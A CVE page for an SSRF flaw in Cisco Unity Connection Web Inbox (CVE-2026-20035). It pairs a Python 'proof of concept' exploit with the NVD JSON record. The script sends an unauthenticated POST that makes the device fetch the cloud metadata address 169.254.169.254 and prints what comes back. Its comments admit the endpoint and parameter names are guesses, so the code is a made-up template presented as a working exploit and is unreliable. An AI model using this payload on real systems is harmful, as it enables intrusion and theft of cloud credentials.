CVE-2026-20035

import requests # Proof of Concept for CVE-2026-20035 # Target: Cisco Unity Connection Web Inbox # Description: This script demonstrates how an unauthenticated attacker might trigger the SSRF vulnerability. TARGET_URL = "http://<target-ip>/webinbox/vulnerable_endpoint" # Example internal URL to access (e.g., AWS metadata, internal admin panel) MALICIOUS_URL = "http://169.254.169.254/latest/meta-data/" def exploit_ssrf(): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Payload structure based on the vulnerability description (parameter names are hypothetical) payload = { "target": MALICIOUS_URL, "action": "import" } try: print(f"[*] Sending SSRF request to {TARGET_URL}...") response = requests.post(TARGET_URL, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully!") print("[+] Response from server:") print(response.text[:500]) # Print first 500 chars of response else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit_ssrf()

{"cve": {"id": "CVE-2026-20035", "sourceIdentifier": "[email protected]", "published": "2026-05-06T17:16:20.280", "lastModified": "2026-05-06T18:59:53.230", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web UI of Cisco Unity Connection Web Inbox could allow an unauthenticated, remote attacker to conduct SSRF attacks through an affected device.\r\n\r\nThis vulnerability is due to improper input validation for specific HTTP requests. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to send arbitrary network requests that are sourced from the affected device."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-unity-rce-ssrf-hENhuASy", "source": "[email protected]"}]}}